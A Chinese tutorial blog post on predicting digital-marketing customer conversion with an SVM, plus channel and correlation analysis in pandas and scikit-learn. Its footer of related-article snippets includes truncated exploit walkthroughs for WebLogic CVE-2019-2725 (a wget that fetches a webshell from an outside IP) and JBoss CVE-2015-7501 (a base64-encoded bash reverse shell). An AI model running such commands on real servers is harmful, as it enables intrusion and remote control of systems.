客户转化预测以及关键因素识别_支持向量机与相关性分析

数据入口:数字营销转化数据集 - Heywhale.com

数据集记录了客户与数字营销活动的互动情况。它涵盖了人口统计数据、营销特定指标、客户参与度指标以及历史购买数据,为数字营销领域的预测建模和分析提供了丰富的信息。

数据说明:

字段说明
CustomerID每个客户的唯一标识符。
Age客户的年龄。
Gender客户的性别(男性/女性)。
Income客户的年收入,以美元计。
CampaignChannel营销活动传递的渠道:电子邮件(Email)、社交媒体(Social Media)、搜索引擎优化(SEO)、付费点击(PPC)、推荐(Referral))。
CampaignType营销活动的类型:意识(Awareness)、考虑(Consideration)、转化(Conversion)、留存(Retention)。
AdSpend在营销活动上的花费,以美元计。
ClickThroughRate客户点击营销内容的比率。
ConversionRate点击转化为期望行为(如购买)的比率。
AdvertisingPlatform广告平台:保密。
AdvertisingTool广告工具:保密。
WebsiteVisits访问网站的总次数。
PagesPerVisit每次会话平均访问的页面数。
TimeOnSite每次访问平均在网站上花费的时间(分钟)。
SocialShares营销内容在社交媒体上被分享的次数。
EmailOpens营销电子邮件被打开的次数。
EmailClicks营销电子邮件中链接被点击的次数。
PreviousPurchases客户之前进行的购买次数。
LoyaltyPoints客户累积的忠诚度积分数。
Target Variable目标变量:二元变量,表示客户是否转化(1)或未转化(0)。

本文将通过支持向量机(SVM)分类进行客户转化预测,以及利用相关性分析进行关键因素识别。

一:客户转化预测

import pandas as pdfile_path = 'digital_marketing_campaign_dataset (1).csv'
data = pd.read_csv(file_path)data.info()

观察到数据集中没有缺失值,随后进行标签编码和建立支持向量机分类模型:

from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder
from imblearn.over_sampling import RandomOverSampler
from sklearn.svm import SVC
from sklearn.metrics import classification_report, confusion_matrix, roc_curve, auc
import matplotlib.pyplot as plt
from sklearn import metricsnew_data = data.drop(['CustomerID', 'Age', 'Gender', 'Income', 'SocialShares', 'AdvertisingPlatform', 'AdvertisingTool'], axis=1)label_encoder = LabelEncoder()
new_data['CampaignType_encoded'] = label_encoder.fit_transform(new_data['CampaignType'])
label_encoder = LabelEncoder() 
new_data['CampaignChannel_encoded'] = label_encoder.fit_transform(new_data['CampaignChannel'])
new_data = new_data.drop(['CampaignType', 'CampaignChannel'], axis=1)x = new_data.drop(['Conversion'], axis=1)  
y = new_data['Conversion']
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=15)oversampler = RandomOverSampler()
x_train, y_train = oversampler.fit_resample(x_train, y_train)svm_clf = SVC(random_state=15, probability=True)
svm_clf.fit(x_train, y_train)y_pred_svm = svm_clf.predict(x_test)class_report_svm = classification_report(y_test, y_pred_svm)
print(class_report_svm)y_pred_proba_svm = svm_clf.predict_proba(x_test)[:, 1]
fpr, tpr, thresholds = roc_curve(y_test, y_pred_proba_svm)
roc_auc = auc(fpr, tpr)plt.figure()
plt.plot(fpr, tpr, color='darkorange', lw=2, label='SVM (AUC = %0.2f)' % roc_auc)
plt.plot([0, 1], [0, 1], color='navy', lw=2, linestyle='--')
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Receiver Operating Characteristic (ROC) Curve')
plt.legend(loc='lower right')
plt.show()conf_matrix_svm = confusion_matrix(y_test, y_pred_svm)
print("Confusion Matrix for SVM:")
print(conf_matrix_svm)

可以看出模型的预测效果和准确率较好,可以通过该模型去识别一个用户是否转化。

这段代码是一个使用Python的scikit-learn库进行监督学习的示例,具体来说,它使用了支持向量机(SVM)分类器来预测某些数据集中的目标变量。以下是代码的具体解释:

from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder
from imblearn.over_sampling import RandomOverSampler
from sklearn.svm import SVC
from sklearn.metrics import classification_report, confusion_matrix, roc_curve, auc
import matplotlib.pyplot as plt
from sklearn import metrics
  • 导入必要的库。包括模型选择、数据预处理、过采样技术、SVM分类器、性能评估指标、绘图工具以及额外的scikit-learn工具。
new_data = data.drop(['CustomerID', 'Age', 'Gender', 'Income', 'SocialShares', 'AdvertisingPlatform', 'AdvertisingTool'], axis=1)
  • 从原始数据集data中删除一些列,这些列可能是通过axis=1参数指定的。剩下的数据存储在new_data中。
label_encoder = LabelEncoder()
new_data['CampaignType_encoded'] = label_encoder.fit_transform(new_data['CampaignType'])
label_encoder = LabelEncoder() 
new_data['CampaignChannel_encoded'] = label_encoder.fit_transform(new_data['CampaignChannel'])
new_data = new_data.drop(['CampaignType', 'CampaignChannel'], axis=1)
  • 创建LabelEncoder对象,用于将非数值的类别标签编码为整数。这里它被用来转换CampaignType列和CampaignChannel列的数据。
x = new_data.drop(['Conversion'], axis=1)
y = new_data['Conversion']
  • 将数据分为特征(x)和目标变量(y)。特征是除去Conversion列的所有列,而目标变量是Conversion列。
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=15)
  • 将数据集分为训练集和测试集,其中测试集占总数据的30%,random_state参数用于确保可重复性。
oversampler = RandomOverSampler()
x_train, y_train = oversampler.fit_resample(x_train, y_train)
  • 使用RandomOverSampler来处理训练集中的类别不平衡问题。它会通过随机过采样少数类别来平衡类别分布。
svm_clf = SVC(random_state=15, probability=True)
svm_clf.fit(x_train, y_train)
  • 创建一个SVM分类器实例,设置random_state以确保结果的可重复性,并启用概率估计(probability=True)。然后使用训练数据来训练分类器。
y_pred_svm = svm_clf.predict(x_test)
  • 使用训练好的SVM分类器对测试集的特征进行预测。
class_report_svm = classification_report(y_test, y_pred_svm)
print(class_report_svm)
  • 计算并打印分类报告,它提供了精确度、召回率、F1分数等性能指标。
y_pred_proba_svm = svm_clf.predict_proba(x_test)[:, 1]
fpr, tpr, thresholds = roc_curve(y_test, y_pred_proba_svm)
roc_auc = auc(fpr, tpr)
  • 获取测试集的预测概率,并使用这些概率来计算接收者操作特性(ROC)曲线的假阳性率(FPR)和真阳性率(TPR)。同时计算曲线下面积(AUC)。
plt.figure()
plt.plot(fpr, tpr, color='darkorange', lw=2, label='SVM (AUC = %0.2f)' % roc_auc)
plt.plot([0, 1], [0, 1], color='navy', lw=2, linestyle='--')
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Receiver Operating Characteristic (ROC) Curve')
plt.legend(loc='lower right')
plt.show()
  • 使用matplotlib绘制ROC曲线,并显示AUC值。
conf_matrix_svm = confusion_matrix(y_test, y_pred_svm)
print("Confusion Matrix for SVM:")
print(conf_matrix_svm)
  • 计算并打印混淆矩阵,它显示了模型在测试集上的分类性能,包括真正例(TP)、假正例(FP)、真负例(TN)和假负例(FN)。

二:渠道与活动分析

我们需要根据y'CampaignChannel'和'ConversionRate'两列来进行渠道与活动分析。为了评估不同营销渠道和活动类型对客户转化的影响,我们可以进行以下分析:

  1. 分析各个营销渠道(如Social Media、Email、PPC等)的客户转化率。
  2. 分析不同活动类型(如Awareness、Retention、Conversion等)的客户转化率。

让我们首先分析各个营销渠道的客户转化率。

df = data
campaign_channel_conversion = df.groupby('CampaignChannel')['ConversionRate'].mean().reset_index()campaign_channel_conversion = campaign_channel_conversion.sort_values(by='ConversionRate', ascending=False)campaign_channel_conversion

根据营销渠道的客户转化率分析结果,我们可以看到:

  • Social Media 的客户转化率最高,为 10.655%。
  • Email 的客户转化率为 10.488%。
  • PPC (Pay-Per-Click) 的客户转化率为 10.413%。
  • SEO (Search Engine Optimization) 的客户转化率为 10.353%。
  • Referral 的客户转化率为 10.305%。

接下来,我们可以分析不同活动类型的客户转化率。

campaign_type_conversion = df.groupby('CampaignType')['ConversionRate'].mean().reset_index()campaign_type_conversion = campaign_type_conversion.sort_values(by='ConversionRate', ascending=False)campaign_type_conversion

根据不同活动类型的客户转化率分析结果,我们可以看到:

  • Consideration 的客户转化率最高,为 10.507%。
  • Conversion 的客户转化率为 10.486%。
  • Awareness 的客户转化率为 10.437%。
  • Retention 的客户转化率为 10.321%。

这些结果表明,不同的营销渠道和活动类型对客户转化率有显著影响。例如,Social Media渠道的转化率最高,而Consideration类型的活动转化率最高。

三:关键因素识别

为了确定哪些因素最能促进客户的参与度和转化率,我们可以使用统计方法(如相关性分析或回归分析)来分析这些因素与参与度和转化率之间的关系。

首先,我们可以进行相关性分析,以查看这些因素与客户转化率之间的相关性,在进行相关性分析时,由于数据中既含有数值变量也含有分类变量,为了解决这个问题,我们可以采取以下步骤:

  1. 对于分类变量(如CampaignChannelCampaignType),我们可以使用虚拟变量(或独热编码)来表示它们。
  2. 对于其他数值型变量,我们可以直接使用它们进行相关性分析。

让我们首先对分类变量进行虚拟变量编码,然后进行相关性分析。

relevant_columns = ['CampaignChannel', 'CampaignType', 'AdSpend', 'ClickThroughRate', 'WebsiteVisits', 'PagesPerVisit', 'TimeOnSite', 'SocialShares', 'EmailOpens', 'EmailClicks', 'PreviousPurchases', 'LoyaltyPoints'
]df_encoded = pd.get_dummies(df, columns=['CampaignChannel', 'CampaignType'], drop_first=True)relevant_columns_encoded = [col for col in df_encoded.columns if col in relevant_columns or col.startswith('CampaignChannel') or col.startswith('CampaignType')
]correlation_matrix_encoded = df_encoded[relevant_columns_encoded + ['ConversionRate']].corr()correlation_matrix_encoded['ConversionRate']

根据相关性分析的结果,我们可以看到以下因素与客户转化率的相关性:

  1. AdSpend (广告支出):与转化率呈轻微的负相关(-0.02),这意味着广告支出越高,转化率并不一定越高。
  2. ClickThroughRate (点击率):与转化率呈轻微的负相关(-0.008),这可能表明高点击率并不总是导致高转化率。
  3. WebsiteVisits (网站访问量):与转化率呈轻微的负相关(-0.0121),这意味着网站访问量越高,转化率并不一定越高。
  4. PagesPerVisit (页面浏览量):与转化率呈轻微的正相关(0.0188),这可能表明客户在网站上浏览的页面越多,他们转化的可能性越高。
  5. TimeOnSite (网站停留时间):与转化率呈轻微的正相关(0.0087),这可能表明客户在网站上停留的时间越长,他们转化的可能性越高。
  6. SocialShares (社交媒体分享):与转化率呈轻微的正相关(0.0087),这可能表明社交媒体上的分享有助于提高转化率。
  7. EmailOpens (电子邮件开启次数) 和 EmailClicks (电子邮件点击次数):与转化率呈轻微的正相关,这可能表明电子邮件营销对提高转化率有一定的积极影响。
  8. PreviousPurchases (之前的购买次数):与转化率呈轻微的负相关(-0.0232),这可能表明之前的购买次数并不总是直接导致更高的转化率。
  9. LoyaltyPoints (忠诚度积分):与转化率的相关性非常小(-0.0005),这可能表明忠诚度积分对转化率的影响不大。
  10. CampaignChannel (营销渠道) 和 CampaignType (活动类型):不同渠道和活动类型与转化率的相关性各不相同,其中Social Media渠道和Consideration类型的活动与转化率呈轻微的正相关。

此外,上述相关性值的大小表明这些因素与转化率之间的关联性普遍较弱。

想要探索多元化的数据分析视角,可以关注之前发布的相关内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1542374.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【verilog】4. gtkwave的调用

文章目录 前言实验步骤 前言 进行 数电 FPGA 实验 实验步骤 将 GTKwave 的 bin 文件夹路径添加到 “系统环境变量” 的 “Path” 中 启动 debugger wizard, 设置观测信号 编译选择 2进制 文件 点击 start programming connect debugger 选择触发方式 Run 自动打开 gtkwave&a…

priority_queue 与 deque

priority_queue的介绍与使用 简单介绍 priority_queue - Referencep 从模板可以看出,优先级队列这里的有着新的东西,Compare; 首先:class T 我们都知道,是元素类型,比如int char 一类的; 其实…

基于 jenkins 配置自动化邮件发送

文章目录 安装插件测试配置开始配置邮件创建项目并配置常见问题 安装插件 搜索 Email Extension 测试配置 Manage Jenkins -> System -> E-mail Notification,测试配置是否可以正常发送邮件; 此时可以看到接收到的邮件; 开始配置邮…

矩阵范数介绍

这里写目录标题 理论1 诱导范数 (induced norm)2 “元素形式”范数(“entrywise" norm)3 Schatten 范数 论文中常用范数的书写 理论 参考张贤达矩阵分析page 34 矩阵范数主要有三种类型:诱导范数,元素形式范数和Schatten范数 1 诱导范数 (induce…

Lua中..和...的使用区别

一. .. 的用法 二. ... 的用法 在 Lua 中,... 是一个特殊符号,它用于表示不定数量的参数。当你在函数定义或调用中使用 ... 时,它可以匹配任意数量的参数,并将它们作为列表传递。在您的代码示例中&am…

【C++ Primer Plus习题】17.5

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <fstream> #include <…

【深入Java枚举类:不仅仅是常量的容器】

前言&#xff1a; Java 枚举类&#xff08;enum&#xff09;是一种特殊的数据类型&#xff0c;用来定义一组预定义的常量。枚举类不仅可以包含常量&#xff0c;还能定义方法、字段和构造器&#xff0c;使其功能更加强大和灵活。 引入 【1】数学&#xff1a;枚举法&#xff1a;…

Qt系统相关——事件

文章目录 事件和信号槽的关系事件处理鼠标事件鼠标进入和离开鼠标点击获取位置鼠标释放鼠标双击鼠标移动鼠标滚轮 键盘事件定时器事件窗口移动和窗口改变 事件和信号槽的关系 Qt信号槽机制&#xff1a; 用户进行的操作就可能产生信号&#xff0c;可以给某个信号指定槽函数&…

【machine learning-15-如何判定梯度下降是否在收敛】

我们在运行梯度下降的时候&#xff0c;如何判定梯度下降是否在收敛呢&#xff1f; 梯度下降的时候&#xff0c;权重和偏置根据如下的公式同时更新&#xff1a; 程序要做的就是更新w 和 b&#xff0c;让梯度下降尽快的收敛&#xff0c;但是如何判定正在收敛呢&#xff1f; 方法…

数据库管理-第243期 云栖有感:AI?AI!(20240922)

数据库管理243期 2024-09-22 数据库管理-第243期 云栖有感&#xff1a;AI&#xff1f;AI&#xff01;&#xff08;20240922&#xff09;1 AI2 干货3 数据库总结 数据库管理-第243期 云栖有感&#xff1a;AI&#xff1f;AI&#xff01;&#xff08;20240922&#xff09; 作者&am…

Java项目实战II基于Java+Spring Boot+MySQL的民宿在线预定平台(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在旅游市场…

WebLogic命令执行漏洞CVE-2019-2725

1.环境搭建 cd vulhub-master/weblogic/weak_password docker-compose up -d 2.漏洞验证 http://47.121.211.205:7001/_async/AsyncResponseService 说明存在漏洞 3.在当前页面抓包 修改请求包 写入shell wget http://47.121.211.205/1.txt -O servers/AdminServer/tmp/_W…

Jboss反序列化漏洞CVE-2015-7501

1.环境搭建 cd vulhub-master/jboss/JMXInvokerServlet-deserialization docker-compose up -d 2.漏洞验证 http://47.121.211.205:8080/invoker/JMXInvokerServlet 如果有文件下载 说明存在 3.使用ysoserial工具进行漏洞利用 将反弹shell进行base64编码 bash -i >&am…

【红动中国-注册_登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…

车辆重识别(CVPR2016图像识别的深度残差学习ResNet)论文阅读2024/9/21

[2] Deep Residual Learning for Image Recognition ( CVPR 2016) 作者&#xff1a;Kaiming He Xiangyu Zhang Shaoqing Ren Jian Sun 单位&#xff1a;微软研究院 摘要&#xff1a; 更深层的神经网络更难训练。我们提出了一个残差学习框架&#xff0c;以减轻对比先前使用的深…

linux远程工具MobaXterm的安装和使用

一、安装和运行 1、下载 地址&#xff1a;&#xff08;手机夸克转存后下载是对作者最大的支持&#xff09;https://pan.quark.cn/s/32e1f5e5e95c 2、解压 解压到到常用软件目录下&#xff0c;如C:\Program Files 3、运行 双击MobaXterm_Personal_24.2.exe运行&#xff0c;…

路由器如何绑定三层 trunk 接口

一、拓扑&#xff1a; 二、配置思路&#xff1a; 1、AR1、2 起 eth-trunk X&#xff08;AR系列中&#xff0c;X范围0-7&#xff09; 2、改变接口由二层到三层 3、配置 Porttrunk 范围 4、起三层地址 三、配置内容&#xff1a; [AR1]: interface Eth-Trunk0undo portswitchip…

[项目:微服务即时通讯系统客户端(基于C++QT)]三,左侧界面搭建

三&#xff0c;左侧界面搭建 一&#xff0c;导入 先把MainWidget类做成“单例类” 采用的是单例模式&#xff0c;让某一个类&#xff0c;在指定进程中只有唯一的实例 先看一下MainWidget的框架 QWidget//这部分是头文件保护宏&#xff0c;确保该头文件只被包含一次&#x…

NSSCTF刷题篇1

js类型 [SWPUCTF 2022 新生赛]js_sign 这是一道js信息泄露的题目直接查看源码&#xff0c;有一个main.js文件点击之后&#xff0c;有一串数字和一段base64编码&#xff0c;解开base64编码得到这个编码为敲击码 解码在线网站&#xff1a;Tap Code - 许愿星 (wishingstarmoye.…

Fyne ( go跨平台GUI )中文文档- 扩展Fyne (七)

本文档注意参考官网(developer.fyne.io/) 编写, 只保留基本用法 go代码展示为Go 1.16 及更高版本, ide为goland2021.2 这是一个系列文章&#xff1a; Fyne ( go跨平台GUI )中文文档-入门(一)-CSDN博客 Fyne ( go跨平台GUI )中文文档-Fyne总览(二)-CSDN博客 Fyne ( go跨平台GUI…